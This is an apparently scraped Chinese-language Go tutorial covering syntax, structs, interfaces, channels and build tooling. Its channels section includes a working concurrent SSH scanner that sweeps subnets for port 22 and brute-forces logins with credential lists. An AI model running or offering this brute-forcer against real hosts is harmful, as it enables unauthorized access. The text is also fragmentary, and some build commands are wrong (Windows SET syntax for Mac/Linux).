break default func interface select case defer go map struct chan else goto package switch const fallthrough if range type continue for import return var
var arr [10]int// 声明了一个int类型的数组 arr[0] = 42// 数组下标是从0开始的 arr[1] = 13// 赋值操作 fmt.Printf("The first element is %d\n", arr[0]) // 获取数据,返回42 fmt.Printf("The last element is %d\n", arr[9]) //返回未赋值的最后一个元素,默认返回0
// 初始化一个字典 rating := map[string]float32{"C":5, "Go":4.5, "Python":4.5, "C++":2 } // map有两个返回值,第二个返回值,如果不存在key,那么ok为false,如果存在ok为true csharpRating, ok := rating["C#"] if ok { fmt.Println("C# is in the map and its rating is ", csharpRating) } else { fmt.Println("We have no rating associated with C# in the map") } delete(rating, "C") // 删除key为C的元素
if x > 10 { fmt.Println("x is greater than 10") } else { fmt.Println("x is less than 10") }
Go 的 if 还有一个强大的地方就是条件判断语句里面允许声明一个变量,这个变量的作用域只能在该条件逻辑块内,其他地方就不起作用了,如下所示
1 2 3 4 5 6
// 计算获取值x,然后根据x返回的大小,判断是否大于10。 if x := computedValue(); x > 10 { fmt.Println("x is greater than 10") } else { fmt.Println("x is less than 10") }
多个条件的时候如下所示:
1 2 3 4 5 6 7
if integer == 3 { fmt.Println("The integer is equal to 3") } elseif integer < 3 { fmt.Println("The integer is less than 3") } else { fmt.Println("The integer is greater than 3") }
1-3.2 goto
Go 有 goto 语句——请明智地使用它。goto 语句会无条件的跳转到一个标签,通常都会搭配标签使用。用 goto 跳转到必须在当前函数内定义的标签。例如假设这样一个循环:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
package main
import"fmt"
funcmain() { i := 0 LOOP: // 这是我们定义的标签 for i < 10 { if i == 5 { i++ // 避免无限循环 goto LOOP // 跳回LOOP标签处 } fmt.Printf("i: %d\n", i) i++ } }
在这个例子中,当 i 等于5时,goto 语句会导致程序跳回到 LOOP 标签的位置,而不是继续执行循环的下一部分。这会导致 i 为5的那一次迭代被跳过。
虽然 goto 在 Go 语言中是合法的,但它通常不推荐使用,因为滥用 goto 会导致代码结构混乱,难以阅读和维护。
1-3.3 for
Go里面最强大的一个控制逻辑就是 for,它既可以用来循环读取数据,又可以当作 while 来控制逻辑,还能迭代操作。它的语法如下:
1 2 3
for expression1; expression2; expression3 { //... }
package main import"fmt" funcmain(){ sum := 0; for index:=0; index < 10 ; index++ { sum += index } fmt.Println("sum is equal to ", sum) } // 输出:sum is equal to 45
有些时候需要进行多个赋值操作,由于 Go 里面没有,操作符,那么可以使用平行赋值 i, j = i+1, j-1
i := 10 switch i { case1: fmt.Println("i is equal to 1") case2, 3, 4: fmt.Println("i is equal to 2, 3 or 4") case10: fmt.Println("i is equal to 10") default: fmt.Println("All I know is that i is an integer") }
在第5行中,把很多值聚合在了一个 case 里面,同时,Go 里面 switch 默认相当于每个 case 最后带有 break,匹配成功后不会自动向下执行其他case,而是跳出整个 switch, 但是可以使用 fallthrough 强制执行后面的 case 代码。
虽然调用了 add1 函数,并且在 add1 中执行 a = a+1 操作,但是上面例子中 x 变量的值没有发生变化
如果真的需要传这个x本身,该怎么办呢?
这就牵扯到了所谓的指针。变量在内存中是存放于一定地址上的,修改变量实际是修改变量地址处的内存。只有 add1 函数知道 x 变量所在的地址,才能修改 x 变量的值。所以需要将 x 所在地址 &x 传入函数,并将函数的参数的类型由 int 改为 *int,即改为指针类型,才能在函数中修改 x 变量的值。此时参数仍然是按 copy 传递的,只是 copy 的是一个指针。请看下面的例子
Go程序会自动调用 init() 和 main(),所以不需要在任何地方调用这两个函数。每个 package 中的 init 函数都是可选的,但 package main 就必须包含一个 main 函数。
程序的初始化和执行都起始于 main 包。如果 main 包还导入了其它的包,那么就会在编译时将它们依次导入。有时一个包会被多个包同时导入,那么它只会被导入一次(例如很多包可能都会用到 fmt 包,但它只会被导入一次,因为没有必要导入多次)。当一个包被导入时,如果该包还导入了其它的包,那么会先将其它包导入进来,然后再对这些包中的包级常量和变量进行初始化,接着执行 init 函数(如果有的话),依次类推。等所有被导入的包都加载完毕了,就会开始对 main 包中的包级常量和变量进行初始化,然后执行 main 包中的 init 函数(如果存在的话),最后执行 main 函数。
1-4.9 import
在写Go代码的时候经常用到 import 这个命令用来导入包文件,经常看到的方式参考如下:
1 2 3
import( "fmt" )
然后代码里面可以通过如下的方式调用
1
fmt.Println("hello world")
上面这个 fmt 是 Go 语言的标准库,其实是去 GOROOT 环境变量指定目录下去加载该模块,当然 Go 的 import 还支持如下两种方式来加载自己写的模块:
Go 语言中,也和 C 或者其他语言一样,可以声明新的类型,作为其它类型的属性或字段的容器。例如,可以创建一个自定义类型 person 代表一个人的实体。这个实体拥有属性:姓名和年龄。这样的类型称之 struct。如下代码所示:
1 2 3 4
type person struct { name string age int }
声明一个 struct 如此简单,上面的类型包含有两个字段
一个 string 类型的字段 name,用来保存用户名称这个属性
一个 int 类型的字段 age,用来保存用户年龄这个属性
使用 struct 看下面的代码
1 2 3 4 5 6 7 8
type person struct { name string age int } var P person // P 现在就是 person 类型的变量了 P.name = "Astaxie"// 赋值"Astaxie"给 P 的 name 属性. P.age = 25// 赋值"25"给变量 P 的 age 属性 fmt.Printf("The person's name is %s", P.name) // 访问 P 的 name 属性.
除了上面这种 P 的声明使用之外,还有另外几种声明使用方式:
按照顺序提供初始化值 P := person{"Tom", 25}
通过field:value的方式初始化,这样可以任意顺序 P := person{age:24, name:"Tom"}
当然也可以通过new函数分配一个指针,此处P的类型为 *person P := new(person)
package main import"fmt" type Human struct { name string age int weight int } type Student struct { Human // 匿名字段,那么默认Student就包含了Human的所有字段 speciality string } funcmain() { // 初始化一个学生 mark := Student{Human{"Mark", 25, 120}, "Computer Science"} // 访问相应的字段 fmt.Println("His name is ", mark.name) fmt.Println("His age is ", mark.age) fmt.Println("His weight is ", mark.weight) fmt.Println("His speciality is ", mark.speciality) // 修改对应的备注信息 mark.speciality = "AI" fmt.Println("Mark changed his speciality") fmt.Println("His speciality is ", mark.speciality) // 修改他的年龄信息 fmt.Println("Mark become old") mark.age = 46 fmt.Println("His age is", mark.age) // 修改他的体重信息 fmt.Println("Mark is not an athlet anymore") mark.weight += 60 fmt.Println("His weight is", mark.weight) }
package main import"fmt" type Skills []string type Human struct { name string age int weight int } type Student struct { Human // 匿名字段,struct Skills // 匿名字段,自定义的类型string slice int// 内置类型作为匿名字段 speciality string } funcmain() { // 初始化学生Jane jane := Student{Human:Human{"Jane", 35, 100}, speciality:"Biology"} // 现在访问相应的字段 fmt.Println("Her name is ", jane.name) fmt.Println("Her age is ", jane.age) fmt.Println("Her weight is ", jane.weight) fmt.Println("Her speciality is ", jane.speciality) // 修改他的skill技能字段 jane.Skills = []string{"anatomy"} fmt.Println("Her skills are ", jane.Skills) fmt.Println("She acquired two new ones ") jane.Skills = append(jane.Skills, "physics", "golang") fmt.Println("Her skills now are ", jane.Skills) // 修改匿名内置类型字段 jane.int = 3 fmt.Println("Her preferred number is", jane.int) }
package main import"fmt" type Human struct { name string age int phone string// Human类型拥有的字段 } type Employee struct { Human // 匿名字段Human speciality string phone string// 雇员的phone字段 } funcmain() { Bob := Employee{Human{"Bob", 34, "777-444-XXXX"}, "Designer", "333-222"} fmt.Println("Bob's work phone is:", Bob.phone) // 如果要访问Human的phone字段 fmt.Println("Bob's personal phone is:", Bob.Human.phone) }
func(bl BoxList) BiggestColor() Color { v := 0.00 k := Color(WHITE) for _, b := range bl { if bv := b.Volume(); bv > v { v = bv k = b.color } } return k }
func(bl BoxList) PaintItBlack() { for i := range bl { bl[i].SetColor(BLACK) } }
funcmain() { boxes := BoxList{ Box{4, 4, 4, RED}, Box{10, 10, 1, YELLOW}, Box{1, 1, 20, BLACK}, Box{10, 10, 1, BLUE}, Box{10, 30, 1, WHITE}, Box{20, 20, 20, YELLOW}, } fmt.Printf("We have %d boxes in our set\n", len(boxes)) fmt.Println("The volume of the first one is", boxes[0].Volume(), "cm³") fmt.Println("The color of the last one is", boxes[len(boxes)-1].color.String()) fmt.Println("The biggest one is", boxes.BiggestColor().String()) fmt.Println("Let's paint them all black") boxes.PaintItBlack() fmt.Println("The color of the second one is", boxes[1].color.String()) fmt.Println("Obviously, now, the biggest one is", boxes.BiggestColor().String()) }
//We have 6 boxes in our set //The volume of the first one is 64 cm³ //The color of the last one is YELLOW //The biggest one is YELLOW //Let's paint them all black //The color of the second one is BLACK //Obviously, now, the biggest one is BLACK
package main import"fmt" type Human struct { name string age int phone string } type Student struct { Human //匿名字段 school string } type Employee struct { Human //匿名字段 company string } //在human上面定义了一个method func(h *Human) SayHi() { fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone) }
funcmain() { mark := Student{Human{"Mark", 25, "222-222-YYYY"}, "MIT"} sam := Employee{Human{"Sam", 45, "111-888-XXXX"}, "Golang Inc"} mark.SayHi() sam.SayHi() }
package main import"fmt" type Human struct { name string age int phone string } type Student struct { Human //匿名字段 school string } type Employee struct { Human //匿名字段 company string } //Human 定义 method func(h *Human) SayHi() { fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone) } //Employee 的 method 重写 Human的method func(e *Employee) SayHi() { fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name, e.company, e.phone) //Yes you can split into 2 lines here. } funcmain() { mark := Student{Human{"Mark", 25, "222-222-YYYY"}, "MIT"} sam := Employee{Human{"Sam", 45, "111-888-XXXX"}, "Golang Inc"} mark.SayHi() sam.SayHi() }
通过这些内容,可以设计出基本的面向对象的程序了,但是 Go 里面的面向对象是如此的简单,没有任何的私有、公有关键字,通过大小写来实现(大写开头的为公有,小写开头的为私有),方法也同样适用这个原则。
1-6.5 工厂模式
在 Go 语言中,工厂模式是一种创建型设计模式,用于处理对象的创建逻辑。工厂模式允许你创建对象而不必指定创建对象的具体类,这样可以通过使用一个共同的接口来解耦对象的创建者和使用者。
在 Go 语言中,构造函数的概念与传统的面向对象语言略有不同。Go 使用结构体(struct)和接口(interface)来实现面向对象的概念,但它没有显式的构造函数语法。因此就可以通过工厂模式来解决这个问题,也相当于构造函数的功能。
funcextractVersion(s string)string { // 使用正则表达式匹配版本号 re := regexp.MustCompile(`\d+(\.\d+)+`) match := re.FindString(s) if match != "" { return match } return"" }
type Human struct { name string age int phone string } type Student struct { Human //匿名字段 Human school string loan float32 } type Employee struct { Human //匿名字段 Human company string money float32 }
// Human 对象实现 Sayhi 方法 func(h *Human) SayHi() { fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone) }
// Human 对象实现 Sing 方法 func(h *Human) Sing(lyrics string) { fmt.Println("La la, la la la, la la la la la...", lyrics) }
// Employee 重载 Human 的 Sayhi 方法 func(e *Employee) SayHi() { fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name, e.company, e.phone) //此句可以分成多行 }
// Student 实现 BorrowMoney 方法 func(s *Student) BorrowMoney(amount float32) { s.loan += amount // (again and again and...) }
// Employee 实现 SpendSalary 方法 func(e *Employee) SpendSalary(amount float32) { e.money -= amount // More vodka please!!! Get me through the day! }
// 定义 interface type Men interface { SayHi() Sing(lyrics string) Guzzle(beerStein string) }
type YoungChap interface { SayHi() Sing(song string) BorrowMoney(amount float32) }
type ElderlyGent interface { SayHi() Sing(song string) SpendSalary(amount float32) }
通过上面的代码可以知道,interface 可以被任意的对象实现。看到上面的 Men interface 被 Human、Student 和 Employee 实现。同理,一个对象可以实现任意多个 interface,例如上面的 Student 实现了 Men 和 YoungChap 两个 interface。
package main import"fmt" type Human struct { name string age int phone string } type Student struct { Human //匿名字段 school string loan float32 } type Employee struct { Human //匿名字段 company string money float32 } //Human实现SayHi方法 func(h Human) SayHi() { fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone) } //Human实现Sing方法 func(h Human) Sing(lyrics string) { fmt.Println("La la la la...", lyrics) } //Employee重载Human的SayHi方法 func(e Employee) SayHi() { fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name, e.company, e.phone) } // Interface Men被Human,Student和Employee实现 // 因为这三个类型都实现了这两个方法 type Men interface { SayHi() Sing(lyrics string) } funcmain() { mike := Student{Human{"Mike", 25, "222-222-XXX"}, "MIT", 0.00} paul := Student{Human{"Paul", 26, "111-222-XXX"}, "Harvard", 100} sam := Employee{Human{"Sam", 36, "444-222-XXX"}, "Golang Inc.", 1000} tom := Employee{Human{"Tom", 37, "222-444-XXX"}, "Things Ltd.", 5000} //定义Men类型的变量i var i Men //i能存储Student i = mike fmt.Println("This is Mike, a Student:") i.SayHi() i.Sing("November rain") //i也能存储Employee i = tom fmt.Println("This is tom, an Employee:") i.SayHi() i.Sing("Born to be wild") //定义了slice Men fmt.Println("Let's use a slice of Men and see what happens") x := make([]Men, 3) //这三个都是不同类型的元素,但是他们实现了interface同一个接口 x[0], x[1], x[2] = paul, sam, mike for _, value := range x{ value.SayHi() } }
通过上面的代码,发现 interface 就是一组抽象方法的集合,它必须由其他非interface类型实现,而不能自我实现, Go 通过 interface 实现了 duck-typing :即”当看到一只鸟走起来像鸭子、游泳起来像鸭子、叫起来也像鸭子,那么这只鸟就可以被称为鸭子”。
package main import ( "fmt" "strconv" ) type Human struct { name string age int phone string } // 通过这个方法 Human 实现了 fmt.Stringer func(h Human) String() string { return"❰"+h.name+" - "+strconv.Itoa(h.age)+" years - ✆ " +h.phone+"❱" } funcmain() { Bob := Human{"Bob", 39, "000-7777-XXX"} fmt.Println("This Human is : ", Bob) }
package main import ( "fmt" "strconv" ) type Element interface{} type List [] Element type Person struct { name string age int } //定义了String方法,实现了fmt.Stringer func(p Person) String() string { return"(name: " + p.name + " - age: "+strconv.Itoa(p.age)+ " years)" } funcmain() { list := make(List, 3) list[0] = 1// an int list[1] = "Hello"// a string list[2] = Person{"Dennis", 70} for index, element := range list { if value, ok := element.(int); ok { fmt.Printf("list[%d] is an int and its value is %d\n", index, value) } elseif value, ok := element.(string); ok { fmt.Printf("list[%d] is a string and its value is %s\n", index, value) } elseif value, ok := element.(Person); ok { fmt.Printf("list[%d] is a Person and its value is %s\n", index, value) } else { fmt.Printf("list[%d] is of a different type\n", index) } } }
是否注意到了多个 if 里面,if 里面允许初始化变量。断言的类型越多,那么 if else 也就越多,所以才引出了下面要介绍的 switch。
package main import ( "fmt" "strconv" ) type Element interface{} type List [] Element type Person struct { name string age int } //打印 func(p Person) String() string { return"(name: " + p.name + " - age: "+strconv.Itoa(p.age)+ " years)" } funcmain() { list := make(List, 3) list[0] = 1//an int list[1] = "Hello"//a string list[2] = Person{"Dennis", 70} for index, element := range list{ switch value := element.(type) { caseint: fmt.Printf("list[%d] is an int and its value is %d\n", index, value) casestring: fmt.Printf("list[%d] is a string and its value is %s\n", index, value) case Person: fmt.Printf("list[%d] is a Person and its value is %s\n", index, value) default: fmt.Println("list[%d] is of a different type", index) } } }
type Interface interface { sort.Interface //嵌入字段sort.Interface Push(x interface{}) //a Push method to push elements into the heap Pop() interface{} //a Pop elements that pops elements from the heap }
type Interface interface { // Len is the number of elements in the collection. Len() int // Less returns whether the element with index i should sort // before the element with index j. Less(i, j int) bool // Swap swaps the elements with indexes i and j. Swap(i, j int) }
tag := t.Elem().Field(0).Tag //获取定义在struct里面的标签 name := v.Elem().Field(0).String() //获取存储在第一个字段里面的值
获取反射值能返回相应的类型和数值。
1 2 3 4 5
var x float64 = 3.4 v := reflect.ValueOf(x) fmt.Println("type:", v.Type()) fmt.Println("kind is float64:", v.Kind() == reflect.Float64) fmt.Println("value:", v.Float())
type appError struct { Error error Message string Code int }
这样自定义路由器可以改成如下方式:
1 2 3 4 5 6 7 8 9
type appHandler func(http.ResponseWriter, *http.Request) *appError
func(fn appHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) { if e := fn(w, r); e != nil { // e is *appError, not os.Error. c := appengine.NewContext(r) c.Errorf("%v", e.Error) http.Error(w, e.Message, e.Code) } }
这样修改完自定义错误之后,逻辑处理可以改成如下方式:
1 2 3 4 5 6 7 8 9 10 11 12
funcviewRecord(w http.ResponseWriter, r *http.Request) *appError { c := appengine.NewContext(r) key := datastore.NewKey(c, "Record", r.FormValue("id"), 0, nil) record := new(Record) if err := datastore.Get(c, key, record); err != nil { return &appError{err, "Record not found", 404} } if err := viewTemplate.Execute(w, record); err != nil { return &appError{err, "Can't display record", 500} } returnnil }
bodyBytes, err := io.ReadAll(resp.Body) if err != nil { fmt.Println("读取响应包错误:", err) return } body := string(bodyBytes) // Github Tags 匹配特征 pattern := `class="Link--primary Link">(.*?)<` re := regexp.MustCompile(pattern) matcher := re.FindAllStringSubmatch(body, -1) if matcher != nil { for _, version := range matcher { // 判断是否为正确版本号 if !containsSpecialVersion(version[1]) { // 使用正则提取对应的版本信息 versionName := extractVersion(version[1]) if versionName != "" { fmt.Println(versionName) err := writeVersion(versionName, this.appName) if err != nil { fmt.Println("写入错误:", err) } } else { // 处理版本号为空的情况 fmt.Println("未匹配到正确的版本号") } } }
提取对应版本内容
1 2 3 4 5 6 7 8 9
funcextractVersion(s string)string { // 使用正则表达式匹配版本号 re := regexp.MustCompile(`\d+(\.\d+)+`) match := re.FindString(s) if match != "" { return match } return"" }
Go 提供了一个很好的通信机制 channel。channel 可以与 Unix shell 中的双向管道做类比:可以通过它发送或者接收值。这些值只能是特定的类型:channel类型。定义一个channel 时,也需要定义发送到 channel 的值的类型。注意,引用类型必须使用 make 创建 channel:
1 2 3
ci := make(chanint) cs := make(chanstring) cf := make(chaninterface{})
channel 通过操作符 <- 来接收和发送数据。
1 2
ch <- v // 发送 v 到 channel ch. v := <-ch // 从 ch 中接收数据,并赋值给v
把这些应用到例子中来:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
package main import"fmt" funcsum(a []int, c chanint) { total := 0 for _, v := range a { total += v } c <- total // send total to c } funcmain() { a := []int{7, 2, 8, -9, 4, 0} c := make(chanint) // 创建一个无缓存的 channel go sum(a[:len(a)/2], c) go sum(a[len(a)/2:], c) x, y := <-c, <-c // receive from c fmt.Println(x, y, x + y) }
当 value = 0 时,channel 是无缓冲阻塞读写的,当 value > 0 时,channel 有缓冲、是非阻塞的,直到写满 value 个元素才阻塞写入。
看下面这个例子。
1 2 3 4 5 6 7 8 9 10 11
package main import"fmt" funcmain() { c := make(chanint, 2)//修改2为1就报错,修改2为3可以正常运行 c <- 1 c <- 2 fmt.Println(<-c) fmt.Println(<-c) } //修改为1报如下的错误: //fatal error: all goroutines are asleep - deadlock!
package main import ( "fmt" ) funcfibonacci(n int, c chanint) { x, y := 1, 1 for i := 0; i < n; i++ { c <- x x, y = y, x + y } close(c) } funcmain() { c := make(chanint, 10) go fibonacci(cap(c), c) for i := range c { fmt.Println(i) } }
管道取值需要使用 for i := range c,能够不断的读取 channel 里面的数据,直到该 channel 被显式的关闭。上面代码看到可以显式的关闭 channel,生产者通过内置函数 close 关闭 channel。
关闭 channel 之后就无法再发送任何数据了,在消费方可以通过语法 v, ok := <-ch 测试 channel 是否被关闭。如果 ok 返回 false,那么说明 channel 已经没有任何数据并且已经被关闭。(被关闭的 channel 只能出,无法写入。)
for _, username := range usernames { for _, password := range passwords { // 设置 SSH 登录配置 config := &ssh.ClientConfig{ User: username, Auth: []ssh.AuthMethod{ssh.Password(password)}, HostKeyCallback: ssh.InsecureIgnoreHostKey(), Timeout: 3 * time.Second, } // 尝试连接到目标 IP 的 SSH 端口 address := ip + ":22" conn, err := ssh.Dial("tcp", address, config) if err == nil { // 登录成功 fmt.Printf("Successful login: %s (Username: %s, Password: %s)\n", ip, username, password) conn.Close() returntrue } }
} returnfalse }
// 扫描网段中的 IP 是否开启 22 端口,并尝试爆破 funcscanIP(ip string, wg *sync.WaitGroup, results chan<- string) { defer wg.Done()
address := ip + ":22" conn, err := net.DialTimeout("tcp", address, 2*time.Second) if err == nil { conn.Close() fmt.Printf("Port 22 open on %s, attempting SSH brute-force...\n", ip)
// 尝试 SSH 爆破 if trySSHLogin(ip) { results <- ip } } }
funcscanNetwork(ipRanges []string) []string { var wg sync.WaitGroup results := make(chanstring, 256) successfulIPs := []string{}
for _, ipRange := range ipRanges { ipPrefix := ipRange[:strings.LastIndex(ipRange, ".")] for i := 1; i <= 254; i++ { ip := fmt.Sprintf("%s.%d", ipPrefix, i) wg.Add(1) go scanIP(ip, &wg, results) } }
gofunc() { wg.Wait() close(results) }()
for ip := range results { successfulIPs = append(successfulIPs, ip) }
funcscanNetwork(ipRanges []string) []string { var wg sync.WaitGroup results := make(chanstring, 256) successfulIPs := []string{}
for _, ipRange := range ipRanges { ipPrefix := ipRange[:strings.LastIndex(ipRange, ".")] for i := 1; i <= 254; i++ { ip := fmt.Sprintf("%s.%d", ipPrefix, i) wg.Add(1) go scanIP(ip, &wg, results) } }
gofunc() { wg.Wait() close(results) }()
for ip := range results { successfulIPs = append(successfulIPs, ip) }
return successfulIPs }
scanIP 中使用 defer wg.Done() 在完成后减1,并将爆破成功的 IP 写入 results channel 中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
funcscanIP(ip string, wg *sync.WaitGroup, results chan<- string) { defer wg.Done()
address := ip + ":22" conn, err := net.DialTimeout("tcp", address, 2*time.Second) if err == nil { conn.Close() fmt.Printf("Port 22 open on %s, attempting SSH brute-force...\n", ip)
// 尝试 SSH 爆破 if trySSHLogin(ip) { results <- ip } } }
package main import"fmt" funcfibonacci(c, quit chanint) { x, y := 1, 1 for { select { case c <- x: x, y = y, x + y case <-quit: fmt.Println("quit") return } } } funcmain() { c := make(chanint) quit := make(chanint) gofunc() { for i := 0; i < 10; i++ { fmt.Println(<-c) } quit <- 0 }() fibonacci(c, quit) }
funcmain() { c := make(chanint) o := make(chanbool) gofunc() { for { select { case v := <- c: println(v) case <- time.After(5 * time.Second): println("timeout") o <- true break } } }() <- o }
Golang 1.11 版本引入的 go mod ,其思想类似 maven:摒弃 vendor 和 GOPATH,拥抱本地库。从 Go 1.11 开始,Go 允许在 $GOPATH/src 外的任何目录下使用 go.mod 创建项目。在 $GOPATH/src 中,为了兼容性,Go 命令仍然在旧的 GOPATH 模式下运行。从 Go 1.13 开始,Module 模式将成为默认模式。
Go mod 本质上就是一个包管理工具,相关命令如下
1 2 3 4 5 6 7 8 9 10
go mod The commands are: download download modules to local cache (下载依赖的module到本地cache)) edit edit go.mod from tools or scripts (编辑go.mod文件) graph print module requirement graph (打印模块依赖图)) init initialize new module in current directory (再当前文件夹下初始化一个新的module, 创建go.mod文件)) tidy add missing and remove unused modules (增加丢失的module,去掉未用的module) vendor make vendored copy of dependencies (将依赖复制到vendor下) verify verify dependencies have expected content (校验依赖) why explain why packages or modules are needed (解释为什么需要依赖)
3-1.2 使用 go mod 管理包
首先进入项目文件夹,进行初始化。
1
go mod init [proj name]
3-2 go build
Go 语言的编译速度非常快。Go 1.17 版本后默认利用 Go 语言的并发特性进行函数粒度的并发编译。
3-2.1 常见的编译参数
语法遵循下面的结构
1
go build [-o 输出名] [-i] [编译标记] [包名]
如果参数为 XX.go 文件或文件列表,则编译为一个个单独的包。
当编译单个 main 包(文件),则生成可执行文件。
当编译包时,会自动忽略 _test.go 的测试文件。
如果需要对当前目录进行编译,可以省略参数。
1 2
go build go build .
如果编译包,就可以跟上包的名称(支持通配符)。
1 2
go build github.com/ourlang/noutil go build github.com/ourlang/noutil/...
3-2.2 跨平台编译
Go 语言支持跨平台的交叉编译,可以编译出不同平台的可执行文件。只需要配置 go env 文件中的参数即可。
其中,重要的是修改 GOOS、GOARCH、CGO_ENABLEd三个环境变量。
1
go env
GOOS:目标平台的操作系统(darwin、freebsd、linux、windows)
GOARCH:目标平台的体系架构32位还是64位(386、amd64、arm)
交叉编译不支持 CGO 所以要禁用它
3-2.2.1 Windows 编译
Windows 下编译 Mac 和 Linux 64位可执行程序
1 2 3 4 5 6 7 8 9
SET CGO_ENABLED=0 SET GOOS=darwin SET GOARCH=arm go build main.go
SET CGO_ENABLED=0 SET GOOS=linux SET GOARCH=amd64 go build main.go
3-2.2.2 Mac 编译
Mac 下编译 Linux 和 Windows 64位可执行程序对应参数。
1 2 3 4 5 6 7 8 9
SET CGO_ENABLED=0 SET GOOS=linux SET GOARCH=amd64 go build main.go
SET CGO_ENABLED=0 SET GOOS=windows SET GOARCH=amd64 go build main.go
3-2.2.3 Linux 编译
Linux 下编译 Mac 和 Windows 64位可执行程序对应参数。
1 2 3 4 5 6 7 8 9
SET CGO_ENABLED=0 SET GOOS=darwin SET GOARCH=arm go build main.go
SET CGO_ENABLED=0 SET GOOS=windows SET GOARCH=amd64 go build main.go
3-2.2.4 跨平台编译脚本
直接运行即可编译三种操作系统的可执行文件。
1
./build.sh
build.sh
1 2 3 4 5 6 7 8 9 10 11 12
#!/bin/bash
# macOS 64位 GOOS=darwin GOARCH=amd64 go build -o ./app-mac ./main.go
# Linux 64位 GOOS=linux GOARCH=amd64 go build -o ./app-linux ./main.go
# Windows 64位 GOOS=windows GOARCH=amd64 go build -o ./app-windows.exe ./main.go
echo"Build completed."
3-3 go get
go get 命令允许用户通过代码版本控制工具从远程仓库拉取或更新 Go 代码包及其依赖,并自动编译和安装这些包。这个过程类似于安装应用程序一样简单。go get 能够从多个源获取代码包,包括 BitBucket、GitHub、Google Code 和 Launchpad。在使用 go get 之前,需要确保安装了与远程代码库相对应的版本控制工具,例如 Git、SVN 或 Mercurial。执行 go get 时,需要指定要下载的包的名称。
1
go get [-d] [-f] [-t] [-u] [-fix] [-insecure] [build flags] [packages]